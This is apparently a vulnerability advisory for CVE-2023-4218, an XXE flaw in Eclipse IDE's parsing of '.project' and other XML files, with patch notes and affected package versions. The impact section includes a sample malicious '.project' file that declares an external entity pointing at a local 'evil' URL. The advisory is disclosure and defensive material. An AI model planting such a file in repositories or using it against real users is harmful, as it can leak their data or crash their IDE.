NetSight
medium5.0

CVE-2023-4218

Eclipse IDE XXE in eclipse.platform

Impact

### Impact xml files like ".project" are parsed vulnerable against all sorts of XXE attacks. The user just needs to open any evil project or update an open project with a vulnerable file (for example for review a foreign repository or patch). Vulnerablility was found by static code analysis (SonarLint). Example `.project` file: ``` <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE price [ <!ENTITY xxe SYSTEM "http://127.0.0.1:49416/evil">]> <projectDescription> <name>p</name> <comment>&xxe;</comment> </projectDescription> ``` ### Patches Similar patches including junit test that shows the vulnerability have already applied to PDE (see https://github.com/eclipse-pde/eclipse.pde/pull/667). A solution to platform should be the same: just reject parsing any XML that contains any `DOCTYPE`. ### Workarounds No known workaround. User can only avoid to get/open any foreign files with eclipse. Firewall rules against loss of data (but not against XML bomb). ### References https://cwe.mitre.org/data/definitions/611.html https://rules.sonarsource.com/java/RSPEC-2755 https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/8 (Report for multiple projects affected)

Affected packages

EcosystemPackageAffectedFixed in
mavenorg.eclipse.platform:org.eclipse.core.runtime< 3.29.03.29.0
mavenorg.eclipse.platform:org.eclipse.platform< 4.29.04.29.0
mavenorg.eclipse.platform:org.eclipse.jface< 3.31.03.31.0
mavenorg.eclipse.platform:org.eclipse.ui.forms< 3.13.03.13.0
mavenorg.eclipse.platform:org.eclipse.ui.ide< 3.21.1003.21.100
mavenorg.eclipse.platform:org.eclipse.ui.workbench< 3.130.03.130.0
mavenorg.eclipse.platform:org.eclipse.urischeme< 1.3.1001.3.100
mavenorg.eclipse.jdt:org.eclipse.jdt.ui< 3.30.03.30.0

Affected products

VendorProductAffected versions
EclipseEclipse Ide
before 4.29
EclipseOrg.Eclipse.Core.Runtime
before 3.29.0
EclipsePde
before 3.13.2400

Weakness classification

References